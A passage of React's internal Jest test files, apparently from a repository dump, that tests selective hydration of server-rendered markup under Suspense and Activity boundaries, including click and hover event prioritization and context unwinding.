function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n\n    const root = ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Increase priority of B and then C.\n    root.unstable_scheduleHydration(spanB);\n    root.unstable_scheduleHydration(spanC);\n\n    // We should prioritize hydrating C first because the last added\n    // gets highest priority followed by the next added.\n    await waitForAll(['App', 'C', 'B', 'A']);\n  });\n\n  // @gate www\n  it('hydrates before an update even if hydration moves away from it', async () => {\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child text={text} />\n          <Child text={text.toLowerCase()} />\n        </Suspense>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <div>\n          <ChildWithBoundary text={a} />\n          <ChildWithBoundary text=\"B\" />\n          <ChildWithBoundary text=\"C\" />\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n\n    assertLog(['App', 'A', 'a', 'B', 'b', 'C', 'c']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanB = container.getElementsByTagName('span')[2];\n    const spanC = container.getElementsByTagName('span')[4];\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      // Hydrate the shell.\n      await waitFor(['App', 'Commit']);\n\n      // Render an update at Idle priority that needs to update A.\n\n      TODO_scheduleIdleDOMSchedulerTask(() => {\n        root.render(<App a=\"AA\" />);\n      });\n\n      // Start rendering. This will force the first boundary to hydrate\n      // by scheduling it at one higher pri than Idle.\n      await waitFor([\n        'App',\n\n        // Start hydrating A\n        'A',\n      ]);\n\n      // Hover over A which (could) schedule at one higher pri than Idle.\n      dispatchMouseHoverEvent(spanA, null);\n\n      // Before, we're done we now switch to hover over B.\n      // This is meant to test that this doesn't cause us to forget that\n      // we still have to hydrate A. The first boundary.\n      // This also tests that we don't do the -1 down-prioritization of\n      // continuous hover events because that would decrease its priority\n      // to Idle.\n      dispatchMouseHoverEvent(spanB, spanA);\n\n      // Also click C to prioritize that even higher which resets the\n      // priority levels.\n      dispatchClickEvent(spanC);\n\n      assertLog([\n        // Hydrate C first since we clicked it.\n        'C',\n        'c',\n      ]);\n\n      await waitForAll([\n        // Finish hydration of A since we forced it to hydrate.\n        'A',\n        'a',\n        // Also, hydrate B since we hovered over it.\n        // It's not important which one comes first. A or B.\n        // As long as they both happen before the Idle update.\n        'B',\n        'b',\n        // Begin the Idle update again.\n        'App',\n        'AA',\n        'aa',\n        'Commit',\n      ]);\n    });\n\n    const spanA2 = container.getElementsByTagName('span')[0];\n    // This is supposed to have been hydrated, not replaced.\n    expect(spanA).toBe(spanA2);\n\n    document.body.removeChild(container);\n  });\n\n  it('fires capture event handlers and native events if content is hydratable during discrete event', async () => {\n    spyOnDev(console, 'error');\n    function Child({text}) {\n      Scheduler.log(text);\n      const ref = React.useRef();\n      React.useLayoutEffect(() => {\n        if (!ref.current) {\n          return;\n        }\n        ref.current.onclick = () => {\n          Scheduler.log('Native Click ' + text);\n        };\n      }, [text]);\n      return (\n        <span\n          ref={ref}\n          onClickCapture={() => {\n            Scheduler.log('Capture Clicked ' + text);\n          }}\n          onClick={e => {\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[1];\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    dispatchClickEvent(span);\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Capture Clicked B', 'Native Click B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not propagate discrete event if it cannot be synchronously hydrated', async () => {\n    let triggeredParent = false;\n    let triggeredChild = false;\n    let suspend = false;\n    const promise = new Promise(() => {});\n    function Child() {\n      if (suspend) {\n        throw promise;\n      }\n      Scheduler.log('Child');\n      return (\n        <span\n          onClickCapture={e => {\n            e.stopPropagation();\n            triggeredChild = true;\n          }}>\n          Click me\n        </span>\n      );\n    }\n    function App() {\n      const onClick = () => {\n        triggeredParent = true;\n      };\n      Scheduler.log('App');\n      return (\n        <div\n          ref={n => {\n            if (n) n.onclick = onClick;\n          }}\n          onClick={onClick}>\n          <Suspense fallback={null}>\n            <Child />\n          </Suspense>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'Child']);\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n\n    suspend = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    const span = container.getElementsByTagName('span')[0];\n    dispatchClickEvent(span);\n\n    assertLog(['App']);\n\n    dispatchClickEvent(span);\n\n    expect(triggeredParent).toBe(false);\n    expect(triggeredChild).toBe(false);\n  });\n\n  it('can attempt sync hydration if suspended root is still concurrently rendering', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Child text=\"A\" />\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // We suspend on the client.\n    suspend = true;\n\n    React.startTransition(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    await waitFor(['App']);\n\n    // This should attempt to synchronously hydrate the root, then pause\n    // because it still suspended\n    const result = dispatchClickEvent(span);\n    assertLog(['App']);\n    // The event should not have been cancelled because we didn't hydrate.\n    expect(result).toBe(true);\n\n    // Finish loading the data\n    await act(async () => {\n      suspend = false;\n      await resolve();\n    });\n\n    // The app should have successfully hydrated and rendered\n    assertLog(['App', 'A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('can force hydration in response to sync update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Suspense fallback={null}>\n            <Child text={text} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        root.render(<App text=\"B\" />);\n      });\n    });\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  // @gate www\n  it('can force hydration in response to continuous update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Suspense fallback={null}>\n            <Child text={text} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n\n    await act(() => {\n      TODO_scheduleContinuousSchedulerTask(() => {\n        root.render(<App text=\"B\" />);\n      });\n    });\n\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  it('can force hydration in response to default update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Suspense fallback={null}>\n            <Child text={text} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n    await act(() => {\n      root.render(<App text=\"B\" />);\n    });\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  // @gate www\n  it('regression test: can unwind context on selective hydration interruption', async () => {\n    const Context = React.createContext('DefaultContext');\n\n    function ContextReader(props) {\n      const value = React.useContext(Context);\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child text={text} />\n        </Suspense>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <Context.Provider value=\"SiblingContext\">\n            <ChildWithBoundary text={a} />\n          </Context.Provider>\n          <ContextReader />\n        </>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n    assertLog(['App', 'A', 'DefaultContext']);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n    document.body.appendChild(container);\n\n    const spanA = container.getElementsByTagName('span')[0];\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      await waitFor(['App', 'DefaultContext', 'Commit']);\n\n      TODO_scheduleIdleDOMSchedulerTask(() => {\n        root.render(<App a=\"AA\" />);\n      });\n      await waitFor(['App', 'A']);\n\n      dispatchClickEvent(spanA);\n      assertLog(['A']);\n      await waitForAll(['App', 'AA', 'DefaultContext', 'Commit']);\n    });\n  });\n\n  it('regression test: can unwind context on selective hydration interruption for sync updates', async () => {\n    const Context = React.createContext('DefaultContext');\n\n    function ContextReader(props) {\n      const value = React.useContext(Context);\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child text={text} />\n        </Suspense>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <Context.Provider value=\"SiblingContext\">\n            <ChildWithBoundary text={a} />\n          </Context.Provider>\n          <ContextReader />\n        </>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n    assertLog(['App', 'A', 'DefaultContext']);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      await waitFor(['App', 'DefaultContext', 'Commit']);\n\n      ReactDOM.flushSync(() => {\n        root.render(<App a=\"AA\" />);\n      });\n      assertLog(['App', 'A', 'App', 'AA', 'DefaultContext', 'Commit']);\n    });\n  });\n\n  it('regression: selective hydration does not contribute to \"maximum update limit\" count', async () => {\n    const outsideRef = React.createRef(null);\n    const insideRef = React.createRef(null);\n    function Child() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <div ref={insideRef} />\n        </Suspense>\n      );\n    }\n\n    let setIsMounted = false;\n    function App() {\n      const [isMounted, setState] = React.useState(false);\n      setIsMounted = setState;\n\n      const children = [];\n      for (let i = 0; i < 100; i++) {\n        children.push(<Child key={i} isMounted={isMounted} />);\n      }\n\n      return <div ref={outsideRef}>{children}</div>;\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n\n      // Commit just the shell\n      await waitForPaint([]);\n\n      // Assert that the shell has hydrated, but not the children\n      expect(outsideRef.current).not.toBe(null);\n      expect(insideRef.current).toBe(null);\n\n      // Update the shell synchronously. The update will flow into the children,\n      // which haven't hydrated yet. This will trigger a cascade of commits\n      // caused by selective hydration. However, since there's really only one\n      // update, it should not be treated as an update loop.\n      // NOTE: It's unfortunate that every sibling boundary is separately\n      // committed in this case. We should be able to commit everything in a\n      // render phase, which we could do if we had resumable context stacks.\n      ReactDOM.flushSync(() => {\n        setIsMounted(true);\n      });\n    });\n\n    // Should have successfully hydrated with no errors.\n    expect(insideRef.current).not.toBe(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerSelectiveHydrationActivity-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {createEventTarget} from 'dom-event-testing-library';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactFeatureFlags;\nlet Scheduler;\nlet Activity;\nlet act;\nlet assertLog;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\n\nlet IdleEventPriority;\nlet ContinuousEventPriority;\n\nfunction dispatchMouseHoverEvent(to, from) {\n  if (!to) {\n    to = null;\n  }\n  if (!from) {\n    from = null;\n  }\n  if (from) {\n    const mouseOutEvent = document.createEvent('MouseEvents');\n    mouseOutEvent.initMouseEvent(\n      'mouseout',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      to,\n    );\n    from.dispatchEvent(mouseOutEvent);\n  }\n  if (to) {\n    const mouseOverEvent = document.createEvent('MouseEvents');\n    mouseOverEvent.initMouseEvent(\n      'mouseover',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      from,\n    );\n    to.dispatchEvent(mouseOverEvent);\n  }\n}\n\nfunction dispatchClickEvent(target) {\n  const mouseOutEvent = document.createEvent('MouseEvents');\n  mouseOutEvent.initMouseEvent(\n    'click',\n    true,\n    true,\n    window,\n    0,\n    50,\n    50,\n    50,\n    50,\n    false,\n    false,\n    false,\n    false,\n    0,\n    target,\n  );\n  return target.dispatchEvent(mouseOutEvent);\n}\n\n// TODO: There's currently no React DOM API to opt into Idle priority updates,\n// and there's no native DOM event that maps to idle priority, so this is a\n// temporary workaround. Need something like ReactDOM.unstable_IdleUpdates.\nfunction TODO_scheduleIdleDOMSchedulerTask(fn) {\n  ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {\n    const prevEvent = window.event;\n    window.event = {type: 'message'};\n    try {\n      fn();\n    } finally {\n      window.event = prevEvent;\n    }\n  });\n}\n\nfunction TODO_scheduleContinuousSchedulerTask(fn) {\n  ReactDOM.unstable_runWithPriority(ContinuousEventPriority, () => {\n    const prevEvent = window.event;\n    window.event = {type: 'message'};\n    try {\n      fn();\n    } finally {\n      window.event = prevEvent;\n    }\n  });\n}\n\ndescribe('ReactDOMServerSelectiveHydrationActivity', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableCreateEventHandleAPI = true;\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n    Activity = React.Activity;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n\n    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;\n    ContinuousEventPriority =\n      require('react-reconciler/constants').ContinuousEventPriority;\n  });\n\n  it('hydrates the target boundary synchronously during a click', async () => {\n    function Child({text}) {\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[1];\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    const result = dispatchClickEvent(span);\n\n    // The event should have been canceled because we called preventDefault.\n    expect(result).toBe(false);\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates at higher pri if sync did not work first time', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because it's suspended.\n    await act(() => {\n      const result = dispatchClickEvent(spanD);\n      expect(result).toBe(true);\n    });\n    assertLog([\n      'App',\n      // Continuing rendering will render B next.\n      'B',\n      'C',\n    ]);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog(['D', 'A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates at higher pri for secondary discrete events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because the first is Suspended.\n    dispatchClickEvent(spanA);\n    dispatchClickEvent(spanC);\n    dispatchClickEvent(spanD);\n\n    assertLog(['App', 'C', 'Clicked C']);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog([\n      'A',\n      'D',\n      // B should render last since it wasn't clicked.\n      'B',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates the target boundary synchronously during a click (createEventHandle)', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let isServerRendering = true;\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      Scheduler.log(text);\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    isServerRendering = false;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    const span = container.getElementsByTagName('span')[1];\n\n    const target = createEventTarget(span);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    target.virtualclick();\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates at higher pri if sync did not work first time (createEventHandle)', async () => {\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n    isServerRendering = false;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Continuing rendering will render B next.\n    await act(() => {\n      const target = createEventTarget(spanD);\n      target.virtualclick();\n    });\n    assertLog(['App', 'B', 'C']);\n\n    // After the click, we should prioritize D and the Click first,\n    // and only after that render A and C.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // no replay\n    assertLog(['D', 'A']);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates at higher pri for secondary discrete events (createEventHandle)', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n    isServerRendering = false;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because the first is Suspended.\n    createEventTarget(spanA).virtualclick();\n    createEventTarget(spanC).virtualclick();\n    createEventTarget(spanD).virtualclick();\n\n    assertLog(['App', 'C', 'Clicked C']);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog([\n      'A',\n      'D',\n      // B should render last since it wasn't clicked.\n      'B',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the hovered targets as higher priority for continuous events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Hover ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we 